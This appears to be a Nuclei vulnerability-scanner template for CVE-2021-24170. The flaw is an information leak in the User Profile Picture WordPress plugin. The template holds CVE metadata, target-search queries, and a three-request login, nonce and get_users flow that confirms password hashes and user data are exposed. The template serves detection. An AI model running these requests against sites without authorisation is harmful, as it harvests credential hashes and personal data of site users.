id: CVE-2021-24170

info:
  name: User Profile Picture < 2.5.0 - Sensitive Information Disclosure
  author: s4e-io
  severity: high
  description: |
    The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.
  impact: |
    Authenticated users with upload_files capability can extract sensitive user information including password hashes, activation keys, usernames, and email addresses via REST API endpoint.
  remediation: |
    Update to User Profile Picture version 2.5.0 or later.
  reference:
    - https://www.wordfence.com/blog/2021/03/medium-severity-vulnerability-patched-in-user-profile-picture-plugin/
    - https://wpscan.com/vulnerability/29fc5b0e-0a5f-4484-a1e6-a0a1206726cc/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24170
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24170
    cwe-id: CWE-200
    epss-score: 0.42147
    epss-percentile: 0.97498
    cpe: cpe:2.3:a:cozmoslabs:user_profile_picture:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: cozmoslabs
    product: user_profile_picture
    framework: wordpress
    fofa-query: body="/wp-content/plugins/metronet-profile-picture"
    publicwww-query: "/wp-content/plugins/metronet-profile-picture"
  tags: cve,cve2021,wp,wp-plugin,wpscan,wordpress,info-leak,authenticated,metronet-profile-picture,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'len(body)==0'
          - 'status_code == 302'
          - 'contains_all(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    extractors:
      - type: regex
        name: nonce
        part: body
        regex:
          - '[a-z0-9]{10}'
        internal: true

  - raw:
      - |
        POST /index.php?rest_route=/mpp/v2/get_users HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-WP-Nonce: {{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "ID", "user_login", "user_pass")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502207b066474662e2f48c32d8b3495e6956a135a1b5a7cb1dd9b52b3c3ec928e9cb1022100d97fc4d5559924135dbee369f3da7042d9d4ce8c0bd3c55fc7c36ca643b4a4c6:922c64590222798bb761d5b6d8e72950